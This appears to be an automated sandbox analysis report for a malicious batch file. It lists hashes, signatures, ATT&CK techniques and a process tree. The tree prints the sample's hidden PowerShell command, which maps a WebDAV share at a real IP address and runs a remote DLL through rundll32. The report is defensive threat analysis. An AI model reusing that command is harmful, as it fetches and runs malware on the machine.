036788864ed981a9625a511e68e1b7046f5f9af6ee9db8f70e174a91b3274d36

Analysis

max time kernel
106s
max time network
95s
platform
windows10-2004_x64
resource
win10v2004-20240709-en
resource tags

arch:x64arch:x86image:win10v2004-20240709-enlocale:en-usos:windows10-2004-x64system
submitted
15/07/2024, 00:00

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General

Target
229532981261637991.bat
Size 2KB
Sample240715-aae6ja1djd
SHA256 036788864ed981a9625a511e68e1b7046f5f9af6ee9db8f70e174a91b3274d36
MD5 718b9173ddce28547eb4a811d0424218
SHA1 c34ec7a9c8230eae74e7eacf8fb0f0a0fff3b6d4
SHA512 09f66af11e06a1a370a6ab01e779a26d7270ad4a152d97cbff0ad1ceca35b36294cf30eef3e78de77ac6cb28d2348f81eeceb7af940b05e587fed5438c9305e0
MD5 SHA1 SHA512

Score

8^/10

execution

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
4548	powershell.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-1705699165-553239100-4129523827-1000\Control Panel\International\Geo\Nation	cmd.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082
Runs net.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
4548	powershell.exe
4548	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	4548	powershell.exe

Suspicious use of SetWindowsHookEx 5 IoCs

pid	Process
5020	wordpad.exe
5020	wordpad.exe
5020	wordpad.exe
5020	wordpad.exe
5020	wordpad.exe

Suspicious use of WriteProcessMemory 8 IoCs

description	pid	Process	procid_target
PID 2396 wrote to memory of 5020	2396	cmd.exe	84
PID 2396 wrote to memory of 5020	2396	cmd.exe	84
PID 2396 wrote to memory of 4548	2396	cmd.exe	87
PID 2396 wrote to memory of 4548	2396	cmd.exe	87
PID 4548 wrote to memory of 2404	4548	powershell.exe	89
PID 4548 wrote to memory of 2404	4548	powershell.exe	89
PID 4548 wrote to memory of 3612	4548	powershell.exe	90
PID 4548 wrote to memory of 3612	4548	powershell.exe	90

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\229532981261637991.bat"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:2396
- C:\Program Files\Windows NT\Accessories\wordpad.exe
  "C:\Program Files\Windows NT\Accessories\wordpad.exe"
  2⤵
  - Suspicious use of SetWindowsHookEx
  PID:5020
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -windowstyle hidden net use \\45.9.74.32@8888\davwwwroot\ ; rundll32 \\45.9.74.32@8888\davwwwroot\1180.dll,entry
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:4548
- - C:\Windows\system32\net.exe
    "C:\Windows\system32\net.exe" use \\45.9.74.32@8888\davwwwroot\
    3⤵
    PID:2404
- - C:\Windows\system32\rundll32.exe
    "C:\Windows\system32\rundll32.exe" \\45.9.74.32@8888\davwwwroot\1180.dll,entry
    3⤵
    PID:3612

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k PrintWorkflow -s PrintWorkflowUserSvc
1⤵
PID:1844

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

__PSScriptPolicyTest_pklzskvh.g4u.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_pklzskvh.g4u.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
MD5 SHA1 SHA512

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memory/4548-9-0x0000020AFBC50000-0x0000020AFBC72000-memory.dmp

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